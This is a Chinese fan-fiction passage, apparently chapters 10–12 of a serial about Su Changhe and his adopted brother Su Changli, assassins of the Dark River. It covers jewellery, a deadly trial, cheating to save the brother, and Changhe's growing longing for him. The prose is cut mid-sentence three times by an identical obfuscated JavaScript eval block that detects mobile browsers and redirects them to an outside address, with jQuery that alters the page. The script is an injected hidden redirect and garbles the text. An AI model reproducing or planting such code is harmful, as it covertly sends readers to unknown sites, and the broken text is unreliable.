耳洞是很小时打下的,进暗河之前就有,苏昌河好几年没怎么管过,它就长实了,在耳垂留下个不明显的小坑。苏昌河正式成为杀手拿到任务报酬之后,自己重新打通,戴了两个大大的耳环,足有半张脸那么大的银圈,在脸颊两侧颇为抢眼。 不只是耳环,脱离无名者千篇一律的粗布麻衣后,苏昌河整套衣着都换成自己家乡习俗,一身完全不是北离风格的暗红劲装,毫无掩饰自己独特之处的意思,甚至是在特意彰显。 苏昌离长相和苏昌河有两分相似,却是北离人的相貌,五官线条更圆润。 其实有很多种解释,例如两兄弟是混血,一人更偏向父系,一人更偏向母系。作为接触这兄弟俩最多的人,苏暮雨直觉苏昌离不是苏昌河亲生的弟弟,感觉就不像,非要说的话,苏昌河像野生的,苏昌离像家养的。 苏昌河就以他特立独行的装束,大摇大摆地去炼炉找弟弟,教习不知道该不该拦他,无名者顾名思义,无名无姓、无亲无故,他们兄弟俩是暗河绝无仅有的一对非本家人的亲眷。 还是苏家主松了口,三家会提前派人接触看好的苗子,给一些资源方便,本来就是不成文的惯例,苏昌河得以用苏家人的身份出入炼炉,大包小包给苏昌离塞无名者份例之外的东西。 苏昌河第一次去的时候,苏昌离就一个劲儿盯着苏昌河的耳环看。 苏昌河侧头显摆:“好看吧?” 苏昌离问:“哥……我为什么没有耳洞?”他明知故问,心知肚明自己大概不是大哥的亲弟弟,但苏昌河不明说,他就也从来不说破。 果然苏昌河的解释是:“你太小了。” 苏昌离于是说:“我也要打。” 苏昌河生得唇角微微上翘,眼尾也上挑,平日里不言不语就带三分笑,总显得情绪很轻松,他垂眸看着苏昌离抓着他胳膊的双手,微微笑一下,眼睛里没什么笑意:“好啊。” 在炼炉训练的人,不会把身上穿个针孔当成什么大事,苏昌河身上带着零零碎碎的暗器,就现场抽出枚铁针,烧热后给苏昌离穿了耳洞。苏昌河手很快,等他收手,灼痛才后知后觉地泛上来,苏昌离没叫疼。 伤药这次苏昌河送来的东西里有,没想到立马就用上了,给苏昌离敷药之后,苏昌河手边没有合适的东西,就把针劈断,给苏昌离塞在耳眼里。 炼炉不是养伤的好地方,没两天苏昌离的耳眼发炎了,他自己默默上药,没打算跟苏昌河说。 苏昌河也没想到,他自己打耳眼的时候年龄就很小,已经不记得父母怎么为他处理的,不过下次来见苏昌离的时候,一眼就看了出来,转头去生死药坊问了问,给苏昌离拿了一包茶叶梗来塞耳眼。 他本来给苏昌离带了礼物,第二次任务的酬劳他用来给苏昌离买了一对银耳钉。苏昌离还在炼炉训练,不适合戴耳环这样显眼又不方便的东西。 之后苏昌河攒了几次任务的钱,打了一副银臂环,他和苏昌离一人一个。 除了第一回,后面苏昌河给自己打各色金银宝石的饰品,苏昌离都有一份儿一模一样的,项圈,发饰,衣扣,腰链,除了会影响发力的手腕脚腕,其它部位的饰品都被苏昌河配齐了,换着花样戴。 只是苏昌离尚在炼炉当无名者,暂时都戴不出去,只能苏昌河先帮他收着。 接近苏昌离这一届无名者的考核时间,苏昌河去炼炉越来越频繁,苏昌离的存在也越来越惹眼,他的武功很高,已经超越不少暗河正式杀手,在这届无名者中是毋庸置疑的头名,但最重要的原因是,他有一个已经通过试炼成为正式苏家人的哥哥,整个炼炉都知道苏昌河早早给他弟弟名字都起好了。 和苏昌离分在一组就等于死路一条,哪怕是另外十九个人联起手来先把苏昌离杀了再争取那个名额也没用。苏昌河每次过来会带着冷笑,一声不吭地挨个盯着无名者们的脸,任何人都能读懂他无声的宣告,无论是谁在鬼哭渊杀了他弟弟走出来,他绝不会甘休,一定会杀死那个人为弟弟报仇。 苏昌离所拜的师范向总教习提议,能不能让苏昌离提前从炼炉出来,也是担心三年前苏昌河苏暮雨的事情重演,这一届最出色的无名者眼看又要归了苏家,怕另外两家使绊子。 总教习向三家家主汇报之后,家主们还是决定不能再次破坏规矩,照常分组,丢十九个评估最差的人就当给苏昌离祭剑,这不仅是维护规则,也是对苏昌离的一次打磨,哪怕明知道苏昌离有足够的实力,也要逼他杀足十九个人才能从鬼哭渊出来。 那天苏家主特地给了苏暮雨一个任务,看住苏昌河,不许他去鬼哭渊。 如果,万一,那一组从鬼哭渊走出来的是另一个人,暗河其实已经默许这个人之后会死在苏昌河手里,苏昌河这三年来实在表现出色,暗河根本舍不得为一个资质不够好的侥幸胜者折损了他,但不能让苏昌河当场动手,再挑衅暗河的威严。 苏昌河对着苏暮雨只差没撒泼打滚,也只让苏暮雨宽限到允许他提前去炼炉,在分组前见苏昌离一面。 苏昌河把自己的项链摘下给苏昌离戴上,轻抚着他肩膀,在他耳边说:“别怕,大哥会保护你。” 之后苏昌河就被苏暮雨带回屋子看守起来,苏昌河往床上一躺,直勾勾盯着屋顶。苏暮雨都不敢放他一个人呆着,只怕一错眼人就跑了,拿张椅子就坐在床边守着他。 苏昌河早知道暗河会防着他,而且一定会是苏暮雨被派来看守他,除了苏暮雨还有谁能看得住他,难道让苏家主亲自出面吗?他也知道苏暮雨一定会心软,让他再和昌离见一面,这是他唯一能帮昌离作弊的机会。 进鬼哭渊的无名者除了一件自己最常用的武器什么东西都不能带,但他给昌离戴上的项链里藏着一卷刀丝和一组暗器,他是在赌,教习不会冒着激怒他的风险,让昌离摘掉这件兄弟分别前哥哥从自己身上摘下来、亲手给弟弟戴上的“首饰”。 还有,早先他给昌离换的新耳钉里藏着两枚保命药丸,昌离带了三年耳钉,所有人都习惯了,教习应该不会想到特意让昌离摘下来。 时间一点一滴过去,苏昌河就这么躺着,面无表情,一声不吭。苏暮雨也没有出声,觉得这个样子的苏昌河很眼熟——在他和苏昌河结识之前,苏昌河在炼炉独来独往,就是这样,不表露情绪,不爱说话,看着格外冷傲。 相识之后,随着年龄渐长,苏昌河越来越活泼、懒散、话多、不正经。苏暮雨还以为是因为处境好转,苏昌河释放天性了,此刻忽然觉得,这一部分,冷漠又封闭的部分,才是苏昌河最深的天性。 鬼哭渊外有苏昌河请托的苏家人守着,天黑透试炼才结束,苏红息把重伤的苏昌离抱来苏昌河的屋子。 苏昌河从床上跳下来时差点脚一软跌个跟头,除了苏暮雨没有任何人看出来,他从苏红息手里接过苏昌离、把血淋淋的弟弟抱上自己床铺的手很稳定。 看到苏昌离的那一瞬间他的唇角绽开很轻微的笑意,转眼就因为那些鲜血沉下去,一瞬间显得极为阴郁,然后对着苏昌离又变得温和起来。 苏昌离虚弱地看着苏昌河,眼睛亮晶晶:“哥……我活下来了。” 那十九个人最终还是联手了,不是出于争取活路的希望,纯粹是出于绝望和恨意,抱着同归于尽的心态想把苏昌离一起留在鬼哭渊,如果不是苏昌河准备的东西,苏昌离不一定能活下来。 苏昌河摸摸昌离的脸,昌离脸上有血,苏昌河手上也沾了昌离的血,混在一起给昌离抹花了脸,苏昌河叹了口气然后笑起来:“好啊,不愧是我苏昌河的弟弟。” 苏昌河的作弊手段很快暴露,暗河会派人点检鬼哭渊的尸体,确认没有人装死,况且尸体也是可回收材料,生死药坊一定用得上,刀丝和暗器造成的伤口明显不同于长剑。 苏昌河和苏暮雨都在修罗堂受了罚,苏昌河是因为插手鬼哭渊试炼,苏暮雨是因为没看住苏昌河。 两人并排躺着养伤。苏昌河没什么不好意思,拖长声音说:“抱歉连累你啦,苏暮雨,我一定会还你这回。” “你我何必再提还,”苏暮雨平淡地说,“保护家人是天经地义,你做得很好。” 苏昌河望着窗外:“但我要是提前跟你说,你定不会允许。” 苏暮雨诚实道:“我不会。”他既然接了苏家主给的任务,就会一丝不苟地完成。 苏昌河无可奈何地扯了扯嘴角,所以他非得连累苏暮雨这一回不可。 很快苏昌河就还了这一次,苏暮雨得到消息,当年无剑城故人萧朝颜遇险,私自脱离暗河去施救,苏昌河暗中跟随,在苏暮雨掉下悬崖时救了他。 两人在悬崖下沉默地度过这晚,一同回到暗河,苏昌河没问苏暮雨把萧朝颜送去了哪里,总归他自己从来没想过把苏昌离放在他顾及不到的地方。 他已经失去过一次弟弟,绝不允许自己再失去弟弟一次,如果不在自己身边,苏昌离身上发生的任何事情他都毫无办法,所以别说现在他在暗河自觉干得还不错,哪怕暗河是个无间地狱他也会把苏昌离带下来。 苏昌离确实被哥哥养得很好,跟苏昌河不一样,他常穿绿衣,配上苏昌河给的那一堆精致首饰,青葱又矜贵。 苏昌河身上配饰再多,都会被他那股野性难驯、锋锐至极的气质压下去,乍看他很难注意到那些华光闪闪的零碎。苏昌离倒是干净俊秀,被他哥打扮得像个富贵人家小少爷,随行还有苏紫衣苏红息这一对儿漂亮娇媚的姑娘跟着,出去不自报名号,谁能想到他是暗河杀手,连江湖游侠都不像,倒像是哪家高门阔少。 苏昌离第一次戴有坠子的耳饰,练剑总被坠子打到脸,这倒无妨,这点疼痛微乎其微,但精细的链子承受不了这种力道,苏昌离心无旁骛练剑到天黑,才发现耳坠已经断了,宝石坠子早不知被甩到哪里去,摸黑在林地里到处找。 苏昌离就住在苏昌河隔壁,这是他还在炼炉时苏昌河就替他留好的屋子。苏昌河见弟弟迟迟不回出来找他,发现他做什么,笑得好大声:“苏暮雨练完剑满地捡剑刃,你练完剑满地找耳坠,我身边怎么都是这种小傻瓜。” 当晚苏昌河陪苏昌离找了半宿,幸好苏昌河没吝啬钱,买的宝石坠子挺大, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294667|196944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月上中天的时候,借着反光找到了。 之后苏昌河再送苏昌离饰品,都先专门找人用傀儡丝之类的材料改造加固一番,为此特地结交身在谢家却钟爱机关阵法的谢千机。 谢千机和苏昌河从同一届炼炉出来,眼睁睁看着苏慕两家相争,不惜把那届武功最高的两个人分到同一组,险些让两人一同丧命,因此没敢选这两家,选了谢家,然而谢家专研内功拳法,谢千机在谢家备受排挤歧视,任务也总是完成得很吃力,一度专门靠私底下给苏昌河改首饰才能挣点钱改善生活。 从炼炉出来之后,苏昌离没有刻意照着苏昌河那样打扮,会显得太欲盖弥彰。 少时苏昌河眼睛还有点圆,年龄渐长之后,五官更深,眼睛更狭长,眼尾上挑,苏昌离和他仅剩的那两分相似也看不出多少了。 苏昌离对此很失望,他小时候其实存着一个期盼,说不定他长大了相貌会越来越像苏昌河呢。 他的瞳仁也是北离人标准的棕黑色,所以喜欢穿绿衣,有时他从巨剑的剑刃上看自己的眼瞳,被衣裳映衬着,看起来也会有点泛绿。 苏昌离很想跟苏昌河更相似,他曾经盯着苏昌河的脸上看哥哥有什么相貌特征,苏昌河鼻梁附近有一些小小的雀斑,他没有,就去研究周围的少年无名者们谁脸上长雀斑了,有什么共同点,自己怎样也长一点,有一阵他吃了挺多辣菜,但到最后也没长,脸白净得很。 苏昌河留了两撇小胡子之后,苏昌离考虑过自己要不要跟着蓄须,认认真真用炭笔给自己画了胡子当做模拟,看着实在不合适才放弃。 就连他的武器都和苏昌河差距很大,苏昌河用寸指剑,苏昌离用的却是半扇门板那么大的巨剑。 苏昌离一直遗憾自己不够像苏昌河,其实他从鬼哭渊出来之后,再认识他们兄弟的人,几乎没人会怀疑他是苏昌河的亲弟弟,尤其是先认识苏昌河再见到苏昌离的人。 刚获得送葬师这个代号的时候,苏昌河整个人锐利得像一把无鞘的匕首,倒是闯出名号后,越来越喜欢用痞懒把自己的杀意掩藏起来。散漫乖张的作风太深入人心,完全抹掉了最初的印象。 大概是年纪还轻,苏昌离的危险很外露。 虽然他脸上一直带笑,总显得漫不经心,可是当他看向任务目标的时候,任何人都能看出那双清冽的眼睛里极度危险的杀气。 苏昌河觉得非常有趣。弟弟本来就该像哥哥,不是吗?何况苏昌离是他一手养大的。 他并没有想过要把苏昌离培养成什么样,可是苏昌离自然而然就像他靠拢,都不用他专门想法子把这个捡来的、他不想失去的弟弟绑住。 苏昌河给自己起这个北离名字的时候,就一并想好给弟弟的名字,第一个字和他一样用“昌”,名字叫“离”。 苏昌离从来没问过苏昌河为什么给他起这个字,大概以为是亲弟弟的名字,只是说:“哥,你官话没学好,‘昌’没有明亮的意思。” 苏昌河笑着拍拍他的脑袋,明亮在这里呢。 在苗语里,“Lil”意为光亮、明亮。 苏昌河怀着满腔仇恨和绝望,浑浑噩噩来到北离,失去父母、失去家乡、失去弟弟,他不知道自己还有什么可失去的,也以为自己挽救不了任何事,就在那个时候捡到和阿倪长得几乎一模一样、奄奄一息的昌离。 他亲弟弟名字叫“Nix”,意思是青翠、生机。所以后来昌离喜欢穿绿衣,让苏昌河确实觉得,很多事情都是注定好的。 他从来不觉得是自己救了昌离,他觉得是祖神给了他一个拯救自己的机会,他还可以凭自己的双手去做到什么。 过往一切的毁灭让他的世界成为沉沉黑夜,昌离就是那里的第一束光。 苏昌河在苗疆没长几年,记忆里总有很多热闹盛会,所以他爱凑热闹,世家大族、武林高手的热闹好看,升斗小民的热闹更有意思。 赶集、庙会、祭社、灯会,苏昌河全都去过。从颂神歌和戏折子里学了许多诗词,时不时就吟两句。 一次苏昌离任务回来,只剩下一边耳坠,另一边空着,苏昌离说是战斗中情急把耳坠当暗器打出去了,言语十分懊恼,杀完人之后他在现场找了许久,没捡回来。 苏昌河看到苏昌离空荡荡的耳垂上的针孔,蓦地想起当年是他亲手给昌离打的耳洞,心脏骤然像也被烧热的细针穿透。 戏台下听过的两句唱词撞进心里: “因何耳上有环痕?” “村里酬神多庙会,年年由我扮观音。” “我从此不敢看观音。” 那种不忍看、不敢看的情绪反倒促使苏昌河盯着不放,看得他心脏上那个细微的针孔潺潺不断涌出热流,大概不是血,是什么呢? 白皙耳垂上的小小孔痕忽然变得无比醒目,苏昌河想要碰触,不只是用手,他想亲一下,想含在嘴里舔舐。 暗河的杀手接受过各种基础的扛毒训练,包括春药。苏昌河很清楚,欲念不足以动摇人心,若有所动,那就是真的心动。 他看得太久了,苏昌离有点奇怪:“哥?” 苏昌河笑起来:“……正好,我有一副新耳环给你。” 11.傀儡丝 不太短、也不太长的二十多年人生里,有那么一两个瞬间,苏昌河觉得苏昌离一直在操纵他。 第一次是苏栾丹问他为什么要组建彼岸的时候。 那时候还没有彼岸这个名字,苏栾丹饱含讽刺地问他:“你一个无名者,想当苏家主,还是大家长?” 苏昌河说:“自然是因为自己的弱小无力——我要当大家长,你就来当我的苏家主吧?” 作为一个自认为没有得到应有待遇的苏家本家人,苏栾丹对苏昌河的野心很满意,加入了他草创的这个组织。 但苏昌河自知没有完全说实话,非要说根源,是因为苏昌离。 苏昌河正式加入苏家后,日子节节升高,虽然接了苏暮雨不做的任务导致他忙得厉害,但有银子拿、有名声扬、可以精进武功,虽然在鬼门关走了几个来回,但要快速提升武功非得如此,他得到暗河的教导和修炼资源也不可能不付出代价,所以总体来说他足够满意。 直到苏昌离进行鬼哭渊试炼的日子一天天逼近,苏昌河再次意识到自己作为个人,在暗河这个组织面前有多无力。 上次他技不如人,是被苏暮雨捞了出来,这次呢? 苏昌河第一次的吸纳无名者行动就极为激进、极为大胆,那一届负责分组的总教习是苏家长老,他和总教习打好关系、摸清楚所有无名者的实力和习惯、在炼炉里搅风搅雨打散所有可能会在鬼哭渊集结的小团体、提前在鬼哭渊埋藏各种用自然之物打磨或组装成的武器、甚至在里面种了一些可以直接使用的草药,最后把地图传给他选中的对象。 那一届一百一十六个孩子下鬼哭渊,分了六组,最终走出来的六个人,包括苏昌离在内,全是苏昌河选定的。 整个布置花了苏昌河将近一年,除了他之外暗河没有任何人知道,连这一年里所有任务都和他一起行动的苏暮雨也毫无所觉。 苏昌离,苏遮天,苏长风,谢千机,谢御,慕凉月,这六个人加上苏昌河,就是最早的彼岸雏形。 面对苏栾丹,苏昌河笑得很轻松,笑意不达眼底,他忽然间意识到过了六年,苏昌离仍旧在左右他的人生选择。 六年前,在天启城,作为一个不会武功的异族小孩,苏昌河活得相当艰难,如果他独自一人或许还有摸爬打滚活下去的可能,但他没法再养一个弟弟。 一路流浪,他早知道自己和弟弟长得好,肯卖身的话很容易找到买家,说不定在主家能过得不错呢,只是他还记得血海深仇,还保有自己的骄傲,不肯给自己找个主子。 但在冬天来临之前,判断他们兄弟俩不自卖就没法活下去之后,他决定找个最大的买家。 他是遥遥跟着屠村的使者和士兵一路来到天启,知道他报仇的对象就在那高高在上的皇城之中。这些日子他看着天启城里血流成河、遍地缟素,再显贵豪横的高官重臣都会突然有一天无声无息地丧命。在他眼中,这天启城里最厉害的人,不是皇宫里奄奄一息的皇帝,也不是争斗得狗脑子都打出来的八个皇子,而是这些来无影去无踪的杀手。 他决定去找这些暗河杀手的所在。 后来他才知道这一年在北离的历史上被称为八王之乱,是萧家人自己内斗,才能允许暗河这些见不得光的恶鬼踏入天启。萧若瑾和易卜合谋,一方面通过暗河无差别接六个皇子的单,互相消耗,另一方面通过萧若风以防范暗杀为名另起炉灶,建立天启四守卫。 当时他太小了,看不到隐没在黑暗中持刀的手,只看到雪亮的刀刃。 背着弟弟走出天启城时,他心想,总有一天,他会成为这些杀手中的佼佼者,回到这座冰冷的皇城,像如今这些杀手的行动一样,不留痕迹地取走那看似不可匹敌的大人物的头颅,让圣火村的亡魂安息。 苏昌河以前从来都没认为这个决定是因为昌离,以他的性格就是会选择这条路。昌离没有选择权,甚至毫不知情,完全是被他哄骗着带进暗河。 但是回想起他决定要在暗河里集结起一个组织那天,那一刻的心情,因为无法确保昌离活着从鬼哭渊走出来而痛恨自己的无能和懈怠的情绪,和六年前他敏锐地嗅到严冬即将到来的气息,回头看饿着肚子、在睡梦中仍瑟瑟发抖的昌离时心情一模一样。 影响他做决定的最核心的原因,到底是家乡的仇恨、他的野心、他的自傲,还是昌离? 如果没有昌离,他还会做出同样的选择吗?苏昌河试图诘问自己,但他做不出这个假设,他没办法把昌离排除出去。 那之后数年,苏昌河和苏昌离算不上亲近,他无所不用其极,把苏昌离排除在危险之外,同时等于排除在了他自己的生活之外。 这策略很有效,平日里和苏昌河不对付的三家本家人,比如慕白,从来不会想到通过欺压苏昌离来对付苏昌河。影宗想要拿捏苏昌河的弱点时,也略过武功较低的苏昌离,直接找上暗河武力值最顶尖的苏暮雨。 但是苏昌河仍旧有不得已依赖苏昌离的时候。他要练阎魔掌,至少破境时必须有人给他守卫,不然走火入魔死在某个角落里都没人知道,就算一时死不了,暴露自己偷练阎魔掌也没什么好下场。 虽然彼岸成员都是同路人,虽然他有苏暮雨这个可以交付性命的朋友,但他能毫无保留地信任的只有苏昌离这个弟弟。 尤其是苏暮雨,无论彼岸还是阎魔掌,苏昌河自知和苏暮雨不是一路人,不想和最好的朋友起争执,所以干脆瞒得严严实实。 于是,第二次想起那个几乎已经淡忘的念头,是在闭关突破阎魔掌第九重的时候。 苏昌河不知道哪里出了问题,他怎么都没法突破第九道门槛,真气运行路线毫无问题,累积也已经足够,他分明已经感应到下一个层次的门槛,可是怎么运功都无法碰触,甚至因为强行冲撞反噬己身,苏昌河猛地吐出一口血。 苏昌离在外面敲门,以前有突发情况的时候他都是这样通知苏昌河——家主召见,或者苏暮雨突然来找他。 苏昌河前所未有的烦躁,怒吼一声:“何事!?” 苏昌离隔着门跟他对答,没说两句话,就忍不住推门而入,石门轰然洞开,露出苏昌离满怀急切焦虑的脸,苏昌河眼神凝固了,他目不转睛地盯着苏昌离的脸,突然明白了自己的心障是什么。 原来如此……在这里,就是这个。 耳边是苏昌离在说苏暮雨受伤的事情,苏昌河皱眉,有点疑惑苏昌离为什么这么关切苏暮雨,他们没相处过几天吧? 然后苏昌河回过神来,他的态度就是昌离的态度,昌离着急,是因为他一直都很重视苏暮雨,他是不是之前还当着昌离说什么“任何人都能死,只有苏暮雨不能死”来着? 他倒是不太担心苏暮雨,形影不离出任务那几年,他早就发现,苏暮雨有一种神奇的化险为夷的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314711|196944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 运道,无论多么看起来有死无生的绝境,只要苏暮雨在,最终总能找到一线生机,而他也很早就学会利用这一点,只要有苏暮雨在,他就敢肆无忌惮地搞事。 苏暮雨去当了傀,不再和苏昌河搭档出任务,苏昌河立马就安分多了。 逼迫苏昌离冒险闯入苏昌河闭关所在,当然不止是因为苏暮雨,他真正想问的是苏昌河危险的盟友。 苏昌离从一开始就对和大皇子结盟这件事抱有强烈的负面看法,虽然他当年因为年龄太小,并不知道出使五毒门的就是浊清,但是苏昌河带他千里迢迢追到天启,他知道仇人就来自这座皇城。 包括琅琊王在内,苏昌离对皇城中的一切高高在上的贵人都满怀戒备和抵触,现在因为暗河中人受伤,有些忍不住了。 苏昌河没怎么听进去,因为自知这结盟有几分成色,只是让苏昌河转达不得再对他暗河中人出手的警告,说话的时候他一直盯着苏昌离的脸,回过神来才发现苏昌离被他吓得够呛。 扯出个笑把苏昌离打发出去,苏昌河再坐下运动,终于直面自己的心魔幻境。 果然是这一幕,不然还能是什么呢? 他又回到圣火村被屠灭那一日,到处都是血,到处都是火,到处都是死亡,小小的昌离拼命推搡哭求他自己逃跑。 苏昌河半跪着,扶起那个小小的身体,垂头望着他,在心中说:我不会听你的,当年不会,现在也不会。 八岁的他没有丢下昌离,一直带到天启、带到暗河、带到现在,现在他能做得比八岁更好。 苏昌河说:“我不会再逃了。” 出关之后,他就会去面对浊清,面对贯穿他和昌离迄今为止整个人生的仇恨。 密室门打开,苏昌离记得上次见面时苏昌河异常的状态,顾不上还有信不过的“盟友”在旁边,用满脸掩都掩不住的担忧紧紧盯住苏昌河,慎重地从上往下打量。 苏昌河想,这就是为什么不能告诉昌离他跟浊清是假结盟,真实目的是为了报仇,昌离藏不住事。 挺好的,这就是他想要的结果,他养昌离养得好才会这样,昌离在人心诡道方面的笨拙,简直可以算是对他的表彰。 从萧永那里离开,昌离果然按捺不住,向他提起阎魔掌的话题。 苏昌离迟疑地说:“大哥,你自出关之后,好像变得不大一样了。” 苏昌河嘴上否认,他出关才多久?有半天吗?但心里觉得可能是有点变化。 他想开了,昌离手中攥着缠绕他心脏的傀儡丝,丝线是用苏昌离所有的关切、信赖、仰慕和爱戴拧成。苏昌河斩不断这丝线,更不可能斩掉丝线的主人,只能被它所控。 昌离那忧心忡忡的目光,像是网,能把他所有的野心、贪欲、恶念包裹住。 苏昌河拍拍苏昌离的肩,温和地说:“只要你大哥在一日,你就一直站在我身后也没关系。” 以前他只想把昌离放在安全的地方,就算他死了昌离也能活着。可是被傀儡丝扯住,他知道这套行不通了。 他不能死,也不能走得太快太远,不然跟在他身后的昌离要怎么办呢? 往后他能做得比之前做到的更好,除了安全,他还有很多要给昌离。苏昌河满怀自信,不像八岁时毫无希望的执拗,不像建立起彼岸时满怀不确定的迷茫,迄今为止苏昌河要做的事情都做成了,他会把他的弱点保护好。 12.解关煞 苏昌河很少会这么慌张无措,这世上绝大部分难题,对他来说都能很快找到解法,然后一步步执行,或早或迟,都会按照他的计划发展下去,少数不可抗力的情形,他也有足够的勇气去直面绝境并接受最坏的结果。 唯有一个人相关的事情会让他左右为难、进退失据。就是苏昌离。 要拿这个弟弟怎么办才好呢。 上一次苏昌河心跳成这样的时候,还是在炼炉。 他对暗河一无所知就背着弟弟莽莽撞撞地闯进来,提魂殿告诉他无名者的规则,冷冷地问,还想加入暗河吗?不想也晚了。 苏昌河攥着苏昌离的手,问,怎么样才可以和弟弟不分到一组? 天官告诉他,无名者是为了暗河选拔人才,所以最好的几个人,不会放在同一组。 踏进炼炉之前,昌离小声问:“哥哥,要是我到不了那么厉害怎么办?” 苏昌河说:“不会的。” 苏昌离说:“如果我们分到一组了,哥哥,你杀了我吧。” 苏昌河厉声说:“不可能,别瞎想。” 他们在炼炉的开端并不顺利,逃离苗疆时苏昌离受伤颇重,之后一路流浪,几乎没好好休养过,体质太弱导致苏昌离入门的进度很差。幸而苏昌河天赋很好,每天自己练武之余,还要陪着苏昌离练,生拉硬拽着苏昌离赶上教习规定的进度。 苏昌离找机会旧话重提:“哥,要是我们真的分到一组怎么办?” 苏昌河冷冷地说:“我会把另外十八个人都杀了,然后去杀那个分组的狗东西,你乖乖躲好,等结束了再出来。” 在炼炉这些日子,他眼前的未来不再全然不可触摸,近百个无名者中,苏昌河迅速脱颖而出,除了明显有武学基础的几个孩子,所有相同起点的无名者苏昌河进步最快,而那几个孩子,他也会很快追上去。 苏昌离丝毫没被安抚到。怎么样算结束?苏昌河就算真能杀了分组的总教习,难道能杀穿整个暗河吗?他分明是在说,等他死了,苏昌离自然就是那组唯一活下来的人。 苏昌离颤抖着说:“哥,你应该杀了我。” 苏昌河十分荒谬,什么叫做应该?他殚精竭虑,把弟弟从圣火村覆灭的灾祸中、从北离流浪的苦寒中带出来,难道就为了在暗河亲手杀死他? 苏昌离诚恳而残忍地说:“你比我更……更厉害,你要活下去,才能……没有哥哥,我本来也活不下去。” 苏昌河听懂苏昌离的未竟之言,他年龄更长、天赋更好、性格更坚定,作为杀手活下去的把握更大,乃至将来报仇的可能性更大。可是、可是,什么样的哥哥会吞噬弟弟的生命而活?报仇难道会比仅剩亲人的生命更重要吗? 这在苏昌河看来根本不能算理由。他如果死在前面,昌离可能会被别人所杀,也可能变得强大,足够保护自己,但死在他手里,就是彻底结束,没有任何可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358741|196944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能了。 苏昌河说:“别说傻话了,我不会让你死。” 在炼炉的每一天,苏昌河的心脏都跳得很快,给他更充沛的体力、更亢奋的精神、更长时间的清醒,胸膛里不分白天黑夜的声声振动,催促、逼迫着他用尽全力去修炼、去战斗,昌离的性命还背负在他身上。 这个近乎无解的难题在两个月后不攻自破,由于八王之乱,这一年暗河收下的孤儿太多,以至于通常按照收录时间粗暴划分的方法显得太过浪费,于是暗河罕见地在同年开了第二座炼炉,把包括苏昌离在内年龄较小那批孩子都划拨过去,预计要比前一座多培养两年。 那天晚上,苏昌河骤然松懈下来,然后就中了暗算,掉进那个他几乎以为自己会死在里面的深坑。 后来苏昌河的心再没有跳得那么快,哪怕他自己过鬼哭渊的时候,或者苏昌离过鬼哭渊的时候。 离开苏昌河单独进入另一座炼炉,苏昌离并没有像他自己说的那样活不下去,很快成长起来,遵循兄长的脚步拜入苏家师范门下,比他兄长还受师范的赏识栽培。 有苏昌河苏暮雨的前车之鉴,下一届总教习由苏家长老苏穆秋担任,苏穆秋性情偏温和,对苏昌离这样板上钉钉会加入苏家的好苗子十分维护,和苏昌离分在一组的十九个人不仅实力远不如他,互相之间还矛盾重重,抱团都抱不起来。 苏昌离的鬼哭渊试炼无惊无险,分毫没叫苏昌河操心。